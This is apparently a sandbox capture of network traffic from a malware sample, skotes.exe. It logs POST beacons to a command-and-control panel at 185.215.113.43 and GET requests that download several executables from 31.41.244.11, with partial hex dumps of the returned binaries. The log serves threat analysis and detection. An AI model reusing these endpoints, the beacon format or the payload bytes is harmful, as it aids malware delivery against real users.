Dec 13, 2024 01:51:06.762348890 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 13, 2024 01:51:08.123814106 CET	970	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 30 62 0d 0a 20 3c 63 3e 31 30 31 34 35 38 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 33 37 61 39 65 34 64 31 35 65 66 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 34 35 38 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 34 35 38 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 34 35 38 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 [TRUNCATED] Data Ascii: 30b <c>1014583001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc37a9e4d15ef02ab5e45425197d1aa1daaa8#1014584001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1014585001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1014586001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1014587001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbce71914e54a61cf64d4a485a9592e100b7#1014588001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1014589001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1014590001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49765	31.41.244.11	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:08.249985933 CET	62	OUT	GET /files/hell911/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 13, 2024 01:51:09.576543093 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:09 GMT Content-Type: application/octet-stream Content-Length: 2660864 Last-Modified: Thu, 12 Dec 2024 23:33:40 GMT Connection: keep-alive ETag: "675b72d4-289a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ed d3 a7 12 a9 b2 c9 41 a9 b2 c9 41 a9 b2 c9 41 e2 ca ca 40 a3 b2 c9 41 e2 ca cc 40 27 b2 c9 41 e2 ca cd 40 bd b2 c9 41 b8 34 ca 40 bd b2 c9 41 b8 34 cd 40 bb b2 c9 41 b8 34 cc 40 8f b2 c9 41 e2 ca c8 40 aa b2 c9 41 a9 b2 c8 41 fa b2 c9 41 2a 34 c1 40 a8 b2 c9 41 2a 34 36 41 a8 b2 c9 41 2a 34 cb 40 a8 b2 c9 41 52 69 63 68 a9 b2 c9 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 85 59 56 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 b0 24 00 00 f2 03 00 00 00 00 00 c9 01 24 00 00 10 00 00 00 c0 24 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$AAA@A@'A@A4@A4@A4@A@AAA4@A46AA4@ARichAPELYVg$$$@(dm)@%(@%%@(%p%@$.text2$$ `.rdata^$`$@@.data %%@.rsrc%@%%@@.reloc@((@B
Dec 13, 2024 01:51:09.576590061 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 48 53 8b 5d 14 8b c1 56 8b 75 18 0f bf cb 81 c6 2a 3f 18 59 Data Ascii: UHS]Vu?YM}6/MWUEEKEE?YEbE,EQTEnxEELsE1};EzE.EE6/u}uTE7K+E\m
Dec 13, 2024 01:51:09.576649904 CET	1236	IN	Data Raw: 66 98 76 b9 f4 97 d4 41 0f b7 c0 89 45 e4 8d 87 31 7d 3b ac 89 45 d4 8d 87 d4 4c c6 73 89 5d 14 b3 7d 89 45 e8 8d 42 c2 c7 45 f0 31 30 34 c5 c7 45 d8 5a de 60 5a e9 f3 07 00 00 83 ff 7a 7c 58 8a 5d 10 8d 41 11 88 45 ff 81 c2 c7 a7 00 00 0f bf 05 Data Ascii: fvAE1};ELs]}EBE104EZ`Zz\|X]AE(e.UU)(ef(effE+MEEOGvp(e_(eE6/+(eU (Ei(e.]]E;#RE
Dec 13, 2024 01:51:09.576687098 CET	1236	IN	Data Raw: ee 15 59 34 38 28 0d ca 28 65 00 05 d2 51 e6 54 81 6d 0c 10 6f 00 00 8a 5d 10 89 45 d8 b8 3b 3c ea f6 2b 05 f4 28 65 00 89 45 f0 b8 31 7d 3b ac 2b c2 c6 45 d0 00 81 45 f4 09 ff 00 00 c7 45 ec 09 ff 00 00 89 45 d4 89 75 18 e9 11 03 00 00 3d 36 2f Data Ascii: Y48((eQTmo]E;<+(eE1};+EEEEu=6/E}bEiQTL(e]M(e6/Mv"Ky}u(e*?YE(e,>EiE+ME,ug(e6/
Dec 13, 2024 01:51:09.576719999 CET	1236	IN	Data Raw: 02 4d f8 66 d3 3d ec 28 65 00 8b 15 c0 28 65 00 8b 4d 10 d3 ea 0f af d0 b8 6f c9 00 00 5f 5e 5b 89 15 c0 28 65 00 8b e5 5d c2 1c 00 66 3b 45 e4 73 52 8b 45 f8 01 3d d8 28 65 00 0f b7 d0 8b c2 0f b6 c9 0f af 05 c4 28 65 00 5f a3 c4 28 65 00 0f b6 Data Ascii: Mf=(e(eMo_^[(e]f;EsRE=(e(e_(e(e(eXX(e^(eo(e[]E;Ev"(eE_(eo^[]E;Eu%E5(e__(eo^[];Eu$(q-(e+f
Dec 13, 2024 01:51:09.576756001 CET	672	IN	Data Raw: 75 d0 8b 75 ec 81 c6 36 8e 60 05 89 45 c4 01 75 c0 8b 75 08 89 45 d4 81 ee a0 37 00 00 8b 45 18 02 45 f0 33 ff 89 55 10 89 45 18 89 75 08 89 75 e0 89 7d 0c e9 d5 08 00 00 b8 af 69 00 00 66 39 45 0c 72 36 69 45 c8 dd 53 00 00 29 75 cc 8b 75 c4 01 Data Ascii: uu6`EuuE7EE3UEuu}if9Er6iES)uu(eEEE+f(euufEu;EuukEM)(e]fEEEME(ei(eiUE(eMumDivEEu
Dec 13, 2024 01:51:09.576793909 CET	1236	IN	Data Raw: f4 03 5d b8 2b 7d c4 81 45 d8 cf 38 00 00 89 45 bc 0f b6 c1 0f b6 0d f4 28 65 00 0f af c8 8b c3 0f af 45 08 c7 45 f8 7c ed 3f 69 89 7d 0c 80 c1 23 0f b7 f0 a1 c4 28 65 00 28 45 f0 05 c0 71 d4 be 01 45 e8 89 4d f4 8a 4d fc 8b 45 f4 66 d3 7d 14 8b Data Ascii: ]+}E8E(eEE\|?i}#(e(EqEMMEf}MEuuEUU;UUUE(e(eMuU3(eEE@P+Eml 0iMm5(eM(eEH-kEEE(eE
Dec 13, 2024 01:51:09.576829910 CET	1236	IN	Data Raw: 66 d3 7d 14 0f b6 4d bc a3 e4 28 65 00 b8 af 69 00 00 2b 05 e8 28 65 00 0f b7 c0 89 45 dc 89 45 d0 8b 45 f8 d3 e8 05 d2 c8 7a 45 89 55 10 89 45 f8 8b 45 14 89 45 c8 e9 55 01 00 00 3b 4d cc 75 56 2b 7d d8 8b 45 c4 8b 0d cc 28 65 00 d3 6d c0 8d 97 Data Ascii: f}M(ei+(eEEEzEUEEEU;MuV+}E(emE+EEi+(eEEEE}bEEE=isGfEzUf(e4.(eEBhMEEuE}f(eM
Dec 13, 2024 01:51:09.576864004 CET	448	IN	Data Raw: 2b ca 8b 45 f8 81 ea cd ea cd 47 98 0f bf c9 0f af c8 81 ee 61 58 00 00 89 55 ec 66 89 0d dc 28 65 00 e9 12 fd ff ff 66 8b 45 14 0f b7 55 0c 3b 55 e8 8b 55 10 98 89 45 a4 75 39 8b 45 c0 2b 05 e8 28 65 00 80 45 fc f0 01 15 e4 28 65 00 89 45 c0 8b Data Ascii: +EGaXUf(efEU;UUEu9E+(eE(eEEEMM(e)E;ErlM(eUfEE)EEf(e(efEEMEuMM+(emf}EEEME`E;uFE3M
Dec 13, 2024 01:51:09.576901913 CET	1236	IN	Data Raw: 01 4d c0 66 03 d0 69 45 c4 fc 5a 00 00 8b 4d 1c f7 d9 66 89 15 ec 28 65 00 2b c8 0f b7 c1 89 45 d4 e9 59 fb ff ff 0f b7 45 d0 3b d0 0f 85 4d fb ff ff 8b 45 f8 03 45 b4 8b 75 ec 69 d2 12 32 c9 e6 89 45 f8 66 03 05 dc 28 65 00 66 01 45 d0 8b 45 f8 Data Ascii: MfiEZMf(e+EYE;MEEui2Ef(efEEEUUUUf5(euUUM;MMMu9EUfE(eME*EEE)(eMU8UUvJM(eMinf(eEE
Dec 13, 2024 01:51:09.697494030 CET	1236	IN	Data Raw: 01 05 cc 28 65 00 8b 45 e4 00 45 18 8b 45 f4 0f b6 c0 6b c0 6d 69 c9 99 5f b2 44 89 75 e0 89 45 f4 81 e9 57 fa a6 51 0f b6 c0 89 4d 1c 03 d8 eb 75 0f bf 4d e0 8b 45 ec 3b c1 75 39 8b 4d 08 01 0d c4 28 65 00 0f b7 4d d0 2b 4d 14 8b 55 10 03 c1 8a Data Ascii: (eEEEkmi_DuEWQMuME;u9M(eM+MUMMMMf(efm}ME:(eu+}Em(eEiuOf(e3}UMU}EiEE;fE9Es+E(e(e(e_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49786	185.215.113.43	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:16.215512037 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014583001&unit=246122658369
Dec 13, 2024 01:51:17.582703114 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49787	31.41.244.11	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:17.734774113 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 13, 2024 01:51:19.033344984 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:18 GMT Content-Type: application/octet-stream Content-Length: 1994240 Last-Modified: Fri, 13 Dec 2024 00:01:44 GMT Connection: keep-alive ETag: "675b7968-1e6e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 a0 87 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 87 00 00 04 00 00 d0 7d 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!J@$@$@$@$@$@$_@$@%@$@$@$@$Rich@$PELd@}ZBn@h!p @T@.rsrch!@d@.idata B@ * B@ydbpfsbaP@lJ@qxyxlwfaF@.taggant0"L@
Dec 13, 2024 01:51:19.033375978 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 13, 2024 01:51:19.033394098 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 13, 2024 01:51:19.033411026 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 13, 2024 01:51:19.033427954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 13, 2024 01:51:19.033443928 CET	672	IN	Data Raw: f2 33 06 3b 53 d3 b5 f7 6e 5e 21 27 02 95 19 16 5a b2 7a 01 df 69 c2 29 14 df af 6f 48 c1 ad bf 1d ee 85 1a 91 3f 4e 65 4c 6b 7c 79 da 00 94 cf 94 53 cd 54 4b fa b0 13 87 a5 38 19 ea 1e 12 a8 e6 c1 f7 cb 68 87 35 74 14 cb db d9 9e 15 7d d2 f8 41 Data Ascii: 3;Sn^!'Zzi)oH?NeLk\|ySTK8h5t}Av<PV(k[dpKg$DfklfOKQMPt:DBBH/IB,d/)(7lP1vB<HPg*V),~7h1Jc?._k
Dec 13, 2024 01:51:19.033462048 CET	1236	IN	Data Raw: ea 89 29 78 b9 31 5b cc eb 19 87 47 81 7d e1 56 67 f1 5c 07 6d 87 8d 42 dc 00 7a d1 d4 d3 30 aa e0 c8 2c ce ea fc 35 b6 30 de 2d 5a 17 e8 da ff 2d fb 9c 57 3f 45 80 43 23 f8 e4 f7 2d 75 5e 26 8d e8 4a ab 64 2f 55 26 78 d2 c2 49 3c fc 86 32 fb cc Data Ascii: )x1[G}Vg\mBz0,50-Z-W?EC#-u^&Jd/U&xI<2JL*U,n}TxfYi\b4V=k~Bz%Csi,IJ-!`K-!"kdPlLDY6Iu?${RZ$E 3t]4Ao0qS
Dec 13, 2024 01:51:19.033478022 CET	1236	IN	Data Raw: 1b b9 39 45 f4 69 2b f4 f1 cb 2d f8 ff 80 92 27 bb 9f 2e 70 e5 4d a8 27 74 19 3e c7 56 55 3e 6c f2 29 33 5c d8 b0 1e cd 08 ec 59 bb af e9 4f cd 40 90 0a c1 f8 26 06 52 30 0a c0 02 e2 d9 bc 40 42 d8 c8 b4 b3 75 b5 f1 a8 ce 36 b4 31 09 45 b9 fd 56 Data Ascii: 9Ei+-'.pM't>VU>l)3\YO@&R0@Bu61EV<Af&l?\ByWwGN_/SULX^r>KoI"*UD4%^{D~!8^qwT.}MYJ7Yn~k_&.e:SawTA%Z/<?<xS%
Dec 13, 2024 01:51:19.033493042 CET	448	IN	Data Raw: b7 d4 0c c8 c7 aa b8 cc 6c 60 35 1c 94 b1 29 da 1e e8 6a c2 f6 d7 6c 13 88 cc 09 b6 93 00 33 7c ad fd 6c 8a 15 15 b6 5b e2 1c 6c fe 21 fc 25 02 38 42 d3 26 da b6 99 1f b3 0f 26 ff 37 98 9b c3 1b d8 77 37 8d bb 2d 8a 59 90 df 4a 58 c9 49 44 d7 78 Data Ascii: l`5)jl3\|l[l!%8B&&7w7-YJXIDx/.;rl-N4QH]e(Y,47]oI6EVsF^{ZG/"dMS8a%N%e7PKwsl//d>TDkR
Dec 13, 2024 01:51:19.033518076 CET	1236	IN	Data Raw: 94 1e 33 fc ae 88 39 78 fd 15 75 ca e8 a7 9d 19 85 c9 0e f1 65 11 e9 a3 2e 80 2a bc e9 71 9b 05 29 b9 0a 20 b7 62 d7 4b 0c 39 88 8f 92 ea 7d ff 67 1b 90 92 d8 27 09 79 f2 72 1c 74 28 11 31 5a 9c 7a af 08 ec 7a 21 2b 61 e9 49 f7 4d db ba c5 be db Data Ascii: 39xue.*q) bK9}g'yrt(1Zzz!+aIMG V\ h0]$7T{?=81"zKvZ/\>d>oV74${~Vkr 4`fxiGd{+7]V21Ma?^vB5.
Dec 13, 2024 01:51:19.154107094 CET	1236	IN	Data Raw: 96 d1 0a 0c 50 41 ea 59 67 54 47 19 60 f0 70 36 7e c9 b9 dd 51 27 86 c9 92 d1 4b 36 f0 58 b5 d1 f1 b0 2a dd 66 3f c9 08 df f3 12 6d 30 06 32 51 c6 16 8d cb 68 ce 77 9b 9d 66 45 df c3 14 75 f2 a4 5d 8f dd d3 5c ac 37 9d ec 81 db 75 07 6b 70 00 9b Data Ascii: PAYgTG`p6~Q'K6X*f?m02QhwfEu]\7ukp[AC{;5Y@Nr@JOkGb4Su:BRKSNQY[:yDSd6OeaN'Mm\|~ y)(x"F{9&`;RV]4qDR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49805	185.215.113.43	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:24.861747026 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014584001&unit=246122658369
Dec 13, 2024 01:51:26.191658974 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49809	31.41.244.11	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:26.464071989 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 13, 2024 01:51:27.678920984 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:27 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 13, 2024 01:51:27.679043055 CET	1236	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3D$tlA
Dec 13, 2024 01:51:27.679081917 CET	448	IN	Data Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5 Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
Dec 13, 2024 01:51:27.679120064 CET	1236	IN	Data Raw: 56 8b f1 8d 4e 08 c7 06 58 a5 41 00 e8 fa 0a 01 00 f6 44 24 08 01 74 07 56 e8 f1 79 01 00 59 8b c6 5e c2 04 00 55 8b ec 51 56 57 ff 75 08 8b f1 8d 4e 0c e8 26 1e 01 00 ff 75 0c 8d 7e 10 8b cf e8 63 fb ff ff 6a 5c 8b cf e8 ec fe ff ff 33 ff 8d 45 Data Ascii: VNXAD$tVyY^UQVWuN&u~cj\3EPWVh<@WW5dA=lAA=AhAtsj5hAAlA;=XAt2t!ttg~k~}PjKjjjW\|YYd9=`Au\EP5hAAMt;u
Dec 13, 2024 01:51:27.679157019 CET	1236	IN	Data Raw: 48 08 89 78 10 89 78 14 e8 2c 07 01 00 84 c0 0f 85 b0 00 00 00 ff 15 98 a1 41 00 53 8d 4d e4 89 45 08 e8 7b f6 ff ff 8d 45 e4 50 e8 5e 16 00 00 3b c7 59 7d 3b ff 75 08 8b 06 6a 6a 56 ff 50 20 ff 75 e4 8b f0 e8 f1 74 01 00 8b 45 0c 3b c7 59 74 06 Data Ascii: Hxx,ASME{EP^;Y};ujjVP utE;YtPQMutYMf<AuE6YujhVPF jSHxxuAPjjVS uwtYuMVEM0g#E8>AP
Dec 13, 2024 01:51:27.679188967 CET	448	IN	Data Raw: 6a 18 ff 75 08 ff 15 40 a0 41 00 57 53 ff 75 d8 ff d6 57 53 ff 75 dc 89 45 f4 ff d6 ff 75 fc 8b 35 18 a0 41 00 89 45 f8 ff d6 ff 75 fc 8b d8 ff d6 ff 75 08 8b 35 38 a0 41 00 53 8b f8 ff d6 ff 75 f8 89 45 f0 ff 75 f4 ff 75 fc ff 15 34 a0 41 00 50 Data Ascii: ju@AWSuWSuEu5AEuu58ASuEuu4APWjWE<Ah u3uPPSuuPPW,AjW(AuESuW5$ASWujAEuWAWWWWuTA_^[UhSVWj@EPuA-h
Dec 13, 2024 01:51:27.679224968 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 13, 2024 01:51:27.679260015 CET	1236	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$AujWPOG;~
